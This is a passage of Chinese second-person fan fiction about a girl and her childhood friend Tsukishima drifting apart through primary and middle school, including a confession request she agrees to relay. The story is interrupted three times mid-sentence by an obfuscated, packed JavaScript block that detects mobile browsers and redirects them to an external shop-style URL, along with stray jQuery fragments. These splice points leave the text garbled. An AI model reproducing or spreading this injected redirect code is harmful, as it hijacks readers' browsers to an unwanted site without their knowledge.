月岛还没有坐下,听到明显把他也包含进去的问题,一反常态的,没有把回答的责任全部推给别人:
“那是吵过架的人才能用的说法吧。”
这下不仅是你,就连围在小松美里周围,刚刚还在跟她聊天的女生都惊讶的看过来。
最后不知道是谁说了一句...
“是哦,雪村同学不是说没有跟月岛吵架吗。”
你还愣在原地,就这么看着月岛坐下,又戴上挂在衣领间的耳机。
是了。
你们其实没有吵过架。
连在排球部那次都不算真正意义上的吵架,前半部分是月岛单方面的逼问,最后你只留下一句抗议,就落荒而逃。
争锋相对的呛声、意见不同的争执、互相宣泄的愤怒——其实从未发生过。
而在这之前,你和他也没有吵过架。
只是在记忆深处,在许多事情发生之前,你们似乎...曾经以一种比方才更近的距离,并肩走过许多路。
那...你们是从什么时候开始走散的呢?
11. 他也在
“明天我就要去排球教室了。”
排球教室...是之前你们路过的地方吗?
对了他好像说过,明光哥在上初中之前就在排球教室。
说是教室,其实就是在专门的地方给孩子们开设的
排球课,上课时间是从放学后开始的。
“嗯。”
所以是在说以后不能一起回家了吗。
没有特别的反应。
月岛看了看你,不知从何时开始萦绕在脑海中的疑惑,此刻来的异常鲜明。
你其实没有自己表现的那样不爱说话,甚至可以说是有问必答,但在某些时刻,你又跟外表带给人的感觉一样,像一块无论如何都不肯沉浮漂移的巨大冰山。
“你...没问题吗?”
“嗯?”你不知道月岛的话是什么意思,但他的问法却给你一种莫名熟悉的感觉,明明是截然不同的语气。
在父母还没离婚的那段时间,母亲加班到很晚的时候,你会和父亲一起去家庭餐厅,和其他卡座里的孩子不同,你对于打破常规的外食并没有表现出儿童应有的兴奋。
相反,你平静的外表下,铅作的心脏坠到了胃底,你有点想吐,还有点喘不过气。
但你终究还是没有吐出来,呼吸也没有异常。
父亲语调轻快的问你想吃什么,你点了平时喜欢吃,但在这种时候却尝不出味道的东西,而后默默坐在餐桌上,把很快端上的餐点,一点一点塞进肚子里。
薯条。
意面。
天妇罗虾。
最开始,你吃的很开心。
但比你更快吃完的父亲说,让你一个人继续吃,他要出去一趟。
“小雪没问题吧?一个人?”
你一时有些懵,身体比大脑先一步反应过来,点了头。
然后他出去了,卡座里只有你一个人。
服务员注意到了,但父亲提前打过招呼,他们就是默默观察着你,没有上前搭话。
其他客人也注意到了,但只是用无声的视线好奇打量了你一会,就把注意力放到自己的家人身上。
你一个人坐在座位上,举着叉有意面的叉子,不知道该不该继续。
而等你把在半空中受尽冷落的意面塞进嘴里时,食物也不出意外的凉掉了。
薯条和天妇罗外皮也软掉了。
意面的酱汁里出现粉末状的调味品,和油脂融合的恰到好处的默契消失,粉渣和清油都变得有些恶心。
最后父亲回来了,你不知道过了多久,但一定是很久了,久到哪怕你等到了他,被抛弃的恐惧终于消失,你也高兴不起来。
你很生气。
可他又是那样像是什么也发生似的笑着看你,问你吃的开不开心。
所以你还是点头了。
第二次,你加快进食的速度,吃的很快。
父亲注意到了,让你慢点吃,不用着急,还笑着用餐巾纸擦了擦你的嘴角。
但他没说他会等你。
如果是和妈妈一起,她一定会说的。
于是你吃的更快了。
可他还是在笑,还问你是不是在学校饿坏了,便当不好吃吗。
跟便当没关系啊。
你一边拼命咀嚼嘴里的食物,一边默默纠正。
在你的努力下,餐碟和炸物篓很快就要见底,但就在还剩三块微笑薯饼的时候,父亲又说了那句让你等他的话。
这次一边说,一边抚摸着你的头,这个动作让你感到无比安心,安心到忽略了他说的话:
“小雪没问题吧?一个人,和上次一样,老爸很快就会回来哦。”
然后不等你把腮帮子里的食物咽下,他就走了。
口腔内壁因为过分撑大的张力和炸物外壳的摩擦,传来丝丝的痛与麻,难受顺着口腔、喉口一直滑到胸腔内部。
你想呼吸,又想吐。
最后还是把空气和食物残渣一同咽下,实在无法下咽的,用冒着泡的可乐顺下去。
你抱着玻璃杯里人见人爱的饮品,突然发现棕色的液体像极了感冒时难喝的药剂。
其实也没错,可乐本来也是作为药剂被发明出来的,只是因为味道合了很多人的口味,逐渐成为广受欢迎的饮料。
只是因为甜蜜的滋味合酥酥麻麻的冲击,就能让人忽略药品的本质,可乐这种东西还真是厉害。
不过,随着暴露在空气里的时间变长,当刺激着、蒙蔽着舌尖的气体逐渐消失,可乐的受众就会大幅减少,不是所有人都喜欢喝没气的可乐的。
至少你就不喜欢。
可如果是已经开启的可乐,哪怕风味不比最初,也会有人秉着不浪费的原则默默喝完不喜欢的可乐。
人总是做自己不喜欢的事情,说不喜欢的话,理由更是触手可及。
因为委屈的是自己,所以不管用什么样的借口,除了自己,再不会有人发出任何意见,而如果连自己都不觉得有什么问题,就变成皆大欢喜的好事了。
所以因为你的默许,父亲后来也不再问你那句话,甚至连招呼都不需要打一声,只笑着看了看你,就自行走开。
你盯着被食物霸占的餐碟,波浪形的白瓷边缘反射着吊灯的光,刺痛没有泪水保护的眼睛。
即便如此,你也不去看他。
至于他在离席期间去做了什么,似乎也没那么重要了。
在父母正式离婚前一年,你躺在床上,听着他们已成习惯的争吵。
母亲提到父亲把你一个人丢在餐厅,自己跑去见‘那个女人’的事情。
早已不再重要,但也未曾消失的疑惑就此解开,你在黑暗中默默点头。
原来是这样啊。
原来那个时候,他不是不想和你待在一起,而是有了更想待在一起的人,之所以离开,只是那个人不是你。
原来...是这样啊。
这样的感想说出来,无疑是对母亲的背叛,但如果人一定有那么一两个瞬间,是哪怕背负罪孽,也必须诚实的话,那么在名为诚实的枷锁中,你坦然认罪——
没错,你在母亲对父亲的指责中,得到了救赎。
比起被讨厌,只是不喜欢...好像也没有那么难以接受。
不过,如果作为不被选择的人,去阻拦父亲见他真正想见的人,多半就会被讨厌了吧。
所以真是太好了,虽然是无意识的,但那个时候的你说了正确的话,做了正确的选择。
那时的你坚信,只有当你说出和心底的声音完全相反的话时,你才不会说错。
虽然这样的想法后来有所改变,但如果是一模一样的场景...这样说的话...应该也...
“没问题。”
你坚定的抬起头,直直的看向对你的反应感到有些诧异的月岛。
他还以为...你最多就是点点头呢。
...
是他自以为是了。
“啊。”他默默别开视线,不想让你看见脸上的不悦。
可你还是看见了。
怎么...不一样。
他不高兴吗?
你说错了吗?
“怎么了?”你急切的想知道,同样的询问,同样的、甚至更明确的回答,为什么换来了截然不同的回应。
“不,没怎么。”月岛毫不犹豫。
你皱着眉,终于不再看他。
他不想回答你的问题。
你不知道为什么。
第二天放学,你依旧慢吞吞的整理着背包,可当你一边整理一边看向熟悉的座位时,发现那里空空如也。
再抬头看向教室门口,也没有一个比同龄人高出许多的身影等在那里。
“你在找月岛吗?”
坐在前面的男生突然转过来跟你搭话。
你顿了顿,还是点头。
“他跟小信一样,都去排球教室了。”
你早就知道了。
但面对对方的好心提醒,还是选择道谢。
“我打算去排球教室外面等他,外面有可以坐着写作业的地方,结束以后再一起回家,反正回家也是一个人写作业,无聊死了。”
他话很多,上课的时候总被老师点名提醒,但很少跟你说这么多话,无论是上课还是下课。
“我记得你也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976389|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是跟月岛一起回家的吧?那要跟我一起去等他们吗?”
见你并不排斥,他向你发出邀请。
你没有拒绝,但严格来说,也不算完全答应。
因为他自己变了问题,从要不要一起等人,变成要不要一起去排球教室看看,他知道在哪。
似乎有这样一种说法,如果被拒绝过一次,第二次提出的请求多半会被答应。
这样的原理放在被请求者身上似乎也同样适用,你没有拒绝他第二次提出的请求。
走到排球教室门外,有家长,也有一些和你们一样的小孩。
他熟练的找到一张似乎是用来方便野餐的方桌,拿出课本,就要开始做自己的事情,期间还不忘提醒你现在还不能进去,因为今天不是参观日。
你背着包,始终没有坐下。
过了一会,你似乎、隐约是在不断砸地、被接住、又砸地的声音中听见一道熟悉的人声。
月岛...在里面啊。
你没有选择和带你来的孩子一起等人,你独自离开了。
相较于之前,这次回家的时间要晚上一些,于是也看见不同的风景。
远处的那朵云,形状很奇怪。
既像独角鲸,又像伸长脖子的腕龙。
“月——”
你惊喜的转头,想告诉他这个意外的发现——最终只是并不意外的察觉到,想要分享的对象不在这条路上。
你回过头,重新看向似乎已经移转的天空,云的位置也随之变化。
你有预感,这样的时刻还会有很多。
像这样,觉得要是他在就好了的时候,还会有很多。
直到你再也不这样觉得。
知道你无论看到多罕见的风景都想不会再想到一个不在场的人——
糟糕。
怎么感觉...反而更糟糕啊。
·
跟月岛和解的影响,最直接的反映就是每天早上的问好,你已经可以在跟山口互道早安的时候自然的把他也带上了。
奇怪的是,小松美里居然因为你跟月岛回到相安无事的状态表现的极为不满——
“我说啊。”
在和月岛一起走回教室的第二天,因为你没有在刻意避开可能会碰到月岛跟山口的时间,所以你来教室的时间也比之前更早了。
小松美里抓住这点时间,打完招呼,就很有个人风格的开门见山:
“他跟你道歉了吗?那天的事情。”
你被问的一愣,呆了半晌,摇摇头。
出于一种诡异的预感,你没有把月岛说自己不会道歉的话告诉她。
小松美里也没有追问,眯着眼打量你一会,闭眼叹息:“我看还是新谷前辈吧。”
‘还是’新谷是什么意思?
难道还有别的选择吗?
而且她到底在说什么啊。
见你毫无反应,小松美里又问:“你不会完全没往那方面想吧?周末不是都去约会了吗?”
啊...
在捕捉到关键字眼后,你终于明白她的意思,顿时有些苦笑不得。
“那不叫约会吧。”你无奈的笑着。
没见过的表情。小松美里默默感叹。
“其实,我每周都会去水族馆。”
“每周都去?”
“嗯。”你突然来了兴致,说话的时候眼睛也不自觉的开始发亮,看的人有些晃神,“初中毕业以后,我发现水族馆有在招募解说员,就去报名了。”
“然后选上了?”小松美里明知故问,你兴奋的样子实在罕见。
“嗯嗯!”你双手扒着座椅的靠背,下巴抵在手背上,配合着愉快的语调轻轻点头,“所以不是约会啦,解说结束以后他就自己逛了,我还要负责给后来的游客解说呢。”
“不过他人还挺不错的。”你想到早上的事情,总结到。
月岛就是在这个时候走进教室的,和平时不一样的是他是从教室后面的门进来的。
正因如此,你才能在发现他的身影的时候,正好对上他的眼睛。
是因为你也在看他吗?
他也在看你呢。
12. 快一点
因为今天有家政课,虽然还不知道上课的内容,但以防万一,你还是把头发扎了起来,用的自然是那天你落在月岛家,又被他送回你家的那根发绳。
你感觉到他的视线落在你头顶,自然而然的认为他在看那根发绳。
“妈妈跟我说了,”你勉强看着他的眼睛,不好意思的摸了摸被束在脑后的低马尾,顺着中段滑到发尾,一边解释:“麻烦你特意跑一趟了...多谢。”
月岛的思绪还停在刚才听到的那句话上,虽然他已经猜到你说的人会是谁,但对你轻易得出结论的事情还不能理解。
因为一起去了海洋馆?
还是因为像早上那样把你围在中间聊天,那种连你的不自在都不能及时发现的家伙,在你看来也是个不错的人?
月岛只注意到你最后那句感谢,心不在焉的嗯了一声,就单手拽着肩上的背带走回座位,背对你们坐下。
沉默的背影,依旧无动于衷。
尽管对这份平淡早有预料,但连一句‘没什么’之类的客套话都没有得到,你也是有些错愕的。
小松美里的注意力倒是集中的过分,她还在关心你那句评价针对的对象——
“新谷前辈?你也觉得新谷前辈很不错?那很好嘛。”
你的注意力重新回到进行到一半的话题上,“‘那很好’?”
小松美里不明显的勾起嘴角,“凉子,你一定还没谈过恋爱吧?”
你皱了皱眉,虽然她说的是事实,但语气让人听了莫名火大。
有种被人小瞧了的感觉。
“是又怎样...”你不自觉鼓起脸颊,也学着她的样子眯眼。
“别生气嘛,我是觉得,哪怕是作为初恋,那种家伙也不错啦。”
这下你听出她是在开玩笑了,有些苦笑不得,“你到底是看好他还是不看好他啊。”
只是为了避免误会,你还是决定跟她解释清楚:“没有那种事啦,只是觉得...有点羡慕新谷前辈,很会跟人相处,也能好好说出自己的心情。”
小松美里没想到这样一句玩笑居然能换来你真情实意的感慨,但她也看出你点到为止的意愿,也没有再深究这个看上去还有很多故事的话题。
“你不会...还从来没想过恋爱的问题吧?”
没有过吗。
“大概...是吧。”
过了好一会,你才留下一个意义不明的答案,然后转过身,不再面对抛出问题的人。
你拿不定主意,你应该是思考过关于恋爱的问题,尽管不是为了和谁交往。
因为引发这种思考的契机并非是你自己的冲动,而是他人的请求。
·
那是刚刚升上初中时发生的事情,你和月岛都选择了附近的一所学校,可以步行上学。
从排球教室到排球社,对于月岛来说,似乎没有特别大的变化,都是放学以后的事情。
于你而言,也是一样。
同样的,至少在上学的路上,你们还有机会碰上,随后一起走去学校。
月岛已经不清楚是从什么时候开始了,他感觉到你的话明显变少。
虽然以往你也很少主动打开什么话题,但随着年龄渐长,无论是头顶形状特别的云、还是千里之外的海域中某类鲸群的动态——诸如此类的、在旁人看来或许稍显幼稚的话题,也很少见你提起了。
啊,这家伙也长大了啊。
起先只是自然的感慨,月岛没有多想。
而在你们升上初中的第一天,当两人偶然遇见,又默契的仿佛偶遇也是事先约定好一样——自然的走到一起时,月岛突然问起你对部活时间的安排。
“虽然也有归宅部,但如果你有想去的社团——”
如果部活结束的时间相近,或许也能像现在这样偶然碰上,再一起回家。
就算部活结束的时间有所差别,但你要是开口请求,他也不是不留下来、等你一起...像以前一样。
当然,如果你——
“我没有想去的社团。”
这种可能性,月岛也想到了。
“欸...还是跟以前一样啊。”
所以他只是早有预料、又别无所谓的回了句不痛不痒的话,甚至很有把握的预判:
“那就是归宅部咯。”
“嗯。”你觉得只说自己的事情不太合适,所以虽然是早就知道答案的问题,你向本人确认——“月岛的话,一定会去排球部吧。”
“当然。”
初中的校门口有一块长方形的石碑,光滑的表面篆刻着学校的名字,但更引人注意的,是随着新鲜的雨水一同驻留其上的樱花。
那些散落的花瓣如此宁静,无论是飘落水面还是落于冰冷的石面之上,都毫无反应,安静到无趣,无趣到令人心生不满。
即使唤起生机的是石碑旁的樱花树,也是花瓣的来源之所。
你和月岛在距离校门十五米远的地方停下,准确来说是你停下,月岛发现你的变化,也止住脚步,回过头看你。
“怎么了?”
他不愿意承认,当时的他还有一点期待,期待你会改变想法,而你之所以突然驻足,也正是因为这个。
可你却攥紧垂在身侧的双手,抿着嘴唇,眼中没有反悔或犹豫的迷雾,只有直白到愚蠢、期待的光亮——
“我想在这里交到朋友。”
那一点点毫无理由的期待,就这样落地了。
而后你继续向前迈出的脚步,不偏不移,就踏在它的落点之上。
“嗯...加油。”月岛兴致缺缺的回过头,兀自向前走去。
你察觉到月岛情绪上的变化,却不知道理由。
而开学以来的日子,也完全算不上顺利。
第一天的班会课上,班主任老师希望你能担任学习委员的职务,你不仅当众拒绝,理由还一点不委婉。
只让这位执教多年的老师很是恼怒,随后,在由他负责教授的课堂上,你被点到了很多次,都是些与课本无关的问题,哪怕勉强能回答上来,也会被狠狠否定。
你几次站在原地,一边听着漫不经心的奚落,一边绞动着半遮在衣袖下的手指,属于你的难堪似乎蔓延到了全班,你没有听到嘲笑,只听见仿佛与你感同身受的僵硬。
下课后,直到老师离开教室,悬停了一整节课的心才勉强放下。
但对于未来三年学校生活的恐慌,却才开始向你侵袭。
友谊、人际关系、兴趣爱好——
所有的期待,只因为一个小小的失误,就失去在你心中的位置,取代他们的只有恐惧与不安。
月岛坐在教室靠后的位置,离你的座位有一段距离,但也正是因为这个能轻松查看到你四周境况的方位,在他起身离开座位、朝你走去之前,他看见坐在你附近的几个女生已经把你围在正中。
有人拍了拍你的肩膀,你懵懵懂懂的点头,认真听那个站在你右边的女生跟你说着些什么。
是他没法说出来的安慰。
还有人蹲在你桌前,手指比划着什么,又将你的注意力转移开,这下你背对着他,看不见你的表情,只看见纱雾似的白色卷发微小幅度的晃动。
课间结束之前,好几个人拿出了手机,应该是在交换联系方式。
上课铃响,围着你的人群散开,他看见你学着那些女生们的样子朝她们挥手,嘴角不自知的微微上扬。
延续到下课的苍白也消失不见,只有淡淡的红晕。
虽然未必是你预想的方式,但你的期待,的确实现了。
明明应该
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976390|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
替你高兴。
只要成功找到第一个连接点,而后的关联就变得顺理成章了——所谓的交友,也许就是这么一回事。
除了同班的三个女生,凭借和她们的关系,你还交到了许多来自不同班级的朋友,虽然都是朋友,但彼此之间的熟悉与亲昵程度又有所区分。
因为那是朋友的朋友,因为你们并无交集的日常,除了姓名,没有太多共同的话题与感受可以和对方交换。
印象最深的,是和你同班的幸子,以及她那位被她亲切的叫作绘里纱的朋友。
据说她们是从上幼儿园开始就认识的,比你跟月岛认识的还要早。
那天,你看见绘里纱从走廊的一段走来,和她同行的还有两个眼熟、但说不出名字的女生。
正在跟同伴聊天的女生突然瞥见和你一起站在窗台边的幸子——
“啊~幸子!好久不见!最近还好吗?”
幸子用同样的热情回应了她。
而在绘里纱蹦蹦跳跳着离开,幸子向你述说完两人过去的亲密时,你感到十分疑惑,以及,莫名的恐慌。
你迷茫的瞪大了双眼,嘴唇也开始不自觉的微微颤抖:
“为什么?幸子和绘里纱,不是就在同一所学校吗?你们以前明明那么要好...”
理解不能造成的迟钝,让幸子忽略了你脸上的紧张,她略显疑惑的解释:
“我们现在也很要好啊。不过因为不同班,也不在同一个社团,能聊的话题就很少了,虽然见面还是会打招呼,但既然都有了各自更合拍的朋友,就为了曾经的友谊勉强绑在一起,反而会给对方带来麻烦吧。”
那是你第一次知道,朋友之间的羁绊,原来也是这么脆弱的东西。
而这种脆弱背后,又有一种无可指摘的温柔为其辩护。
言语的力量也在此刻体现了。
对于这种发展你不是没有感知,但在被人亲口道出之前,你所感觉到的只是模糊的阴霾与潮湿,而不是如此鲜明的恐惧与雨滴敲打在伞面上——不留情面的敦促。
快一点。
快一点。
快一点,做决定。
这次你没有视而不见,你清晰的看见笼罩在头顶的乌云,为未来某日的自己,备好台词。
在上学路上遇见月岛的次数多了,一起走进教室的次数也随之增多后,当时还不被任何人有心隐瞒的关系,自然的暴露了。
男生自然是不敢在月岛面前说什么的,但不妨碍月岛听见他们的议论。
“我要是也能跟雪村同学做邻居就好了。”
“真好啊,这样就能轻松搭上话了吧。”
月岛在路过这些讨论的时候,并没有产生多余的表情。
但在内心的一角,又忍不住反驳。
才不是邻居的问题呢。
而女生这边,除了感慨一句‘真是看不出来’就没有更多的讨论了。
原本以为掀不起什么波澜的小插曲,因为同班的美海,和她一位名为绪实的朋友,为这场平静到几近静止的变化带来了意想不到的加速。
美海是开学第一天最先来安慰你的女生之一,也是最先跟你交换联系方式的女生,现在是你的朋友,初中毕业以后,你们依旧保持着联系。
而绪实...虽然这么说有些冒犯,但在你见到这个低着头跟在美海肩侧、往后一步位置的女生时,你感到一种莫名的熟悉。
你们都是依靠某种被动来获得友谊的人,哪怕你们和主动的人有着相同的渴望。
但美海接下来的话,和绪实亲口向你提出的请求,让你深深的意识到——
你完全想错了。
“所以...可以拜托雪村同学,帮忙约一下月岛同学吗?”
回过神,你听到的就是这样的请求。
13. 读不懂
约...月岛?
虽然错过了相当一部分的内容,但面对女生脸上的绯红,和强忍着不去躲闪、却依旧微微颤动的眼神,你终于还是理清了当下的情况。
大概,就是告白之类的吧。
要答应吗?
帮个忙而已,帮忙把月岛约到一个指定的地点,而后的事情就与你无关,差不多就是这样。
但你隐隐觉得有哪里不对。
而这份迟疑,落在两人眼中便成了犹豫。
绪实慌乱的看了美海一眼,后者拍了拍她的肩膀,示意她先离开。
绪实犹豫了一会,还是鼓起勇气开口:
“那个、雪村同学!”
“呃,是。”你连忙回神,再次意识到自己的失误。
好在对方并没有责怪你的意思,不如说,她其实已经自顾不暇了。
“我知道自己一定会被拒绝的。”
你惊讶的张了张嘴,却不知该说什么。你被这份勇气小小的震撼了。
“但是,如果不这样的话,今后恐怕也没有机会跟月岛同学接触,所以...我、还是想试一试,趁自己没有放弃。”
“当然,”说完,她又勉强自己露出一个微笑,“我也知道自己的请求对雪村同学来说太突然了,所以雪村同学如果感到为难,请一定不要勉强。”
等绪实离开,美海也代她向你道歉。
“抱歉啊,小雪,之前听你说你们只是单纯的幼驯染,就给那家伙出主意来找你帮忙了。”
“不...”你下意识否认,又不知道自己在否认什么,“我只是...”
“只是?”
“只是、有点惊讶。”
“啊,我大概明白了,虽然我是没有从小玩到大的发小啦,但是听别人说,像这种从小就待在一起的幼驯染是没有性别的——这样的说法。”
美海以为你是在为有人喜欢月岛这件事感到惊讶。
她显然是误会了,但你也拿不出别的答案,便也将错就错,没有解释。
而你没有直接答应的原因,其实与你自己的心情无关。
你只是在想,以你和月岛现在的关系,提出这种请求,会不会不太合适。
自升上初中,你和月岛之间的交流已经越来越少,就算偶尔同行,多半也是相对无言。
而你出于某种即将到来的预感,也不再用那些、在你看来对他而言已不再有趣的话题来没话找话。
月岛是你的第一个朋友,也是你第一个即将失去的朋友,你本就不擅长处理这种关系,更何况,还是即将消失的关系。
你只是希望,哪怕要渐行渐远,也要以一种平和、愉快的方式。
至少,能像幸子和绘里纱那样,再次遇见时,还能自然的叫出对方的名字,再亲切而礼貌的问候对方的近况。
这样就好。
但是...
如果答应帮忙,如果这样的请求在月岛看来是一种冒犯,如果...
“呐,小雪。”
“嗯?”
美海这下确认了,你真的是在走神,而且不止一次。
“如果猜错了先跟你道歉,但是...你其实是喜欢月岛的,对吗?”
你第一反应是点头,但很快注意到,在这样的场合,她所问的,恐怕不是你以为的那种喜欢。
“不。”
于是你否认了,不经思考的否认。
你看见美海松了口气,像放下了某种负担,事实也的确如此。
“吓死我了,还以为自己办了桩蠢事。”她一边说,一边还拍了拍胸口。
分开之前,美海告诉你,对于绪实的请求,不急着答复也没问题。
来自朋友的体谅,反而加重内心的负担。
独自回家的路上,你仍在思考这些问题,关于绪实的请求,关于美海的确认,关于你的答复,关于...
“是吗,已经决定好了啊,恭喜你了。”
听到熟悉的声音,你本能的停下脚步,身形隐匿在通往小巷的墙后。
是住在后街的礼子姐。
至于站在她对面的——你越过围墙的拐角,快速瞥去一眼,看了个大概。
“嗯...”
刘海遮住男生的眼睛,尽管没能看清,但你确定他在看她。
两人交往的事情,还是你从妈妈口中得知的,因为都是大家看着长大的孩子,这样的两个人手牵手回家的事情,被住在附近的人撞见过很多次,也可能是因为他们本来也没有隐瞒的意思。
但看情况,这段关系也差不多走到尽头了。
“不管怎么说,以后,还是不要再见面了。”
你还是第一次从开朗的礼子姐口中听见如此冰冷的语调,冰冷到刻意,连你都听得出,她远没有自己表现出的平静。
甚至是藏不住的烦躁与反感。
“我没有跟分过手的前男友做朋友的习惯。”
“嗯,我知道,所以以后——”
“以后也不用再见面了,不,应该说是不会,马上就要搬走了不是吗?”
“你知道了啊...”
·
第二天,当你回到学校,再见到和美海站在一起的绪实时,所有问题都有了属于自己的答案。
你答应了绪实的请求,答应帮她完成那场注定失败,但或许能成为跟喜欢的人产生交集的告白——
对月岛的告白。
你答应的一点也不勉强了,因为你对她告白的对象,不曾怀有与之冲突的感情。
你不喜欢月岛。
你怎么可能喜欢月岛。
你们只是机缘巧合之下,比其他人更早认识。
你们只是因为一两个相似的爱好,短暂的建立起友谊,友谊,微不足道、随处可见、脆弱的联系。
哪怕只是不值一提的关系,淡去的未来,也清晰可见了。
你是个胆小鬼,你明明可以努力一点,哪怕会把人惹烦,但只要努力一点,主动去维系,未来也许就不会像预想的那样...
但是你没有,你没有那份勇气。
你不想成为他的麻烦。
你..
“怎么了?”
月岛好奇的看着你,虽然他一开始就对你主动叫住他、又明显一副有话要说的样子感到奇特,但看你现在的表情,又不止是单纯的好奇了。
你猛然抬头,指尖抵在手心,又不小心咬到舌尖。
转瞬即逝的刺痛让清醒回笼。
你看着站在对面的月岛,想起已经下定的决心。
“部活结束以后,可以回一趟教室吗?不用...很久的。”
尽管还有很多疑惑,但一看到你挣扎着想要逃走、又强逼自己站在原地等候回复的表情,月岛觉得还是别再问你多余的问题好了。
“嗯,可以。”
他用了一种比以往更轻松的语调,但你没有察觉到这份罕见的刻意。
被难以言明的纠葛紧缚的内心依旧没能放松,直到你快步离开,回到座位。
你看着空白的桌面,预想中如释重负的心情没能出现,乌云徘徊不去。
好在只是意象中的乌云,排球社的部活结束后,天空仍是一片晴朗。
走回教室的路上,月岛对你的反常有了猜测。
他不知道的是,即使有了在学校里如影随形的伙伴,放学的路,你还是一个人走的。
吵架了吗?
他想到你跟美海离开教室,回来又变了脸色的画面。
倒不是他对放学一起回家这件事有什么特别的执念,只是印象里,关于你所有变化的线索,也只有那天问出的问题——
‘你没问题吗?’
话一出口,他又有点后悔,像是在自找麻烦。
可你的回复,又将短暂的懊悔彻底驱散。
‘没问题。’
对你而言过于快速的反应,暗含一句没能说出口的当然。
这是月岛对你产生的第二个误解,显然,你不是一个诚实的孩子。
只是你撒起谎来,连你自己都要骗过去了,遑论旁人。
虽然还是有无法解释的疑点,但证据太少,现在的他也只能得出一种结论。
虽然是个让人有点生气的结论——
你这家伙,是因为跟新朋友闹掰了,才回过头来找他的。
月岛一面觉得生气,一面又觉得好笑,看在你浅显到白痴的心思成功逗笑他的份上,他决定待会一起回家的时候,就不拿你的伤心事开玩笑了。
这样想着,月岛已经走到了教室门口。
门内很安静,除你、不,应该是说除你们之外的人,已经都回家了。
月岛没有敲门,径直拉开不知何时,被人有心关合的教室门。
“走了,雪...”
不是雪村。
被夕阳填满的空教室里,的确有人在等他。
或许早在他开门之前,她就已经通过脚步声,察觉他的到来。
从那张不带一点惊讶的脸上看得出来,她完全知道来的人会是自己。
所以,那家伙也是知道的。
还有那个时候的表情...这下也明白是怎么回事了。
明明自己都不愿意主动找他说话了,看在朋友的面子上,还是跑过来帮忙。
那不是紧张,而是勉强的表情。
为什么,不是宁可得罪老师也不做自己不愿意的事吗,不是宁可被孤立,也不忍受不请自来的人吗。
现在,又算什么。
女生先是道歉,坦言是她拜托雪村帮忙把他约过来的。
然后就是来意了。
月岛没有思考太久,就交出自己的答复:
“抱歉,我没有跟不认识的人交朋友的打算。”
这样,就足够了吧。
月岛不是第一次自己回家了。
说到底,如果不是有了对比,他根本不会对‘一个人回家’的事实产生认识。
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976391|193512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人也好,跟谁一起也好,他是无所谓的,没错,本来是无所谓的,除了——
“雪村。”
你一出门,就看到站在家门口,却迟迟没有出发的月岛。
而你的身形一出现,就因为被他叫出名字,再也动弹不得。
糟糕。
你僵硬的走到他身边,月岛的眼睛里没有责怪,但你还是意识到自己做错了事,尽管你还不清楚那具体是什么。
你不自觉抿着嘴唇,不是故意卖弄无辜。
就是因为知道你这一点,他才认为你狡猾。
幸好他本也不是来兴师问罪的。
“为什么要帮那个人?她不是你的朋友吧。”
语气里也没有责难,是你自己做贼心虚。
“但是...也是朋友的朋友。抱歉,还是给你添麻烦了吗?”
你小心翼翼的抬头,发现月岛正皱着眉看你,“所以你是自愿做这种事情的?给人当传话筒?”
“传话筒...说的也太过分了吧,只是帮忙说句话而已,而且...”你又不经意的看过去,不巧来了个对视,你又补上一句——
“下次不会这样了。”
说完,彻底不再看他。
无论是低头看脚尖,还是明显的把头扭到一边,总之是尽你所能的避开言语之外的交集。
“‘只是帮忙说句话’...你的表情可没有嘴上说的那么轻松啊。”
无论是当时、还是现在。
他就差没直说你是个骗子了。
你突然有些害怕:“是、是因为猜到月岛你可能会不高兴,所以才...”
“那为什么还要做这种事情?”月岛自己没注意到,原本不打算带上的情绪,已经随着脱口而出的追问溢出。
他...是在指责你吗。
是了,一定是了,谁让你嘴上说着顾虑他的心情,最后还不是拿他来当讨好别人的筹码。
所以...他说的没错。
但你没有这样想,你从来没有觉得新交的朋友比月岛更重要,也没想过利用月岛,更何况你跟那个女生也算不上朋友,至于你为什么要做那种事情...
你也不知道啊。
“对不起,月岛,我也不知道,对不起...”你最终还是没忍住回头,至少道歉,是要对着被道歉的人说的。
可他却在此时将头扭向一边,明明占据着上风,反而回避起理亏的人的视线来。
“算了,别道歉了。”
他又不是来听你说这个的。
月岛意识到自己的焦躁,他没想到好好的谈话会变成这样,他甚至只把这件事当成那些恐龙、鲸鱼之类的、他只是——
只是...
算了。
无所谓了。
至少不是现在这样。
但是该怎么让你知道他没有要怪你什么。
月岛沉默了一会,再度开口:
“我说,如果被我叫到一个地方,结果看到的是不认识的人,你是什么心情。”
你还沉浸在愧疚里,当然不敢对他有任何怨怼,“不错的心情?”
你紧张的睁大眼睛,试图通过月岛的表情确认自己的答案是否正确。
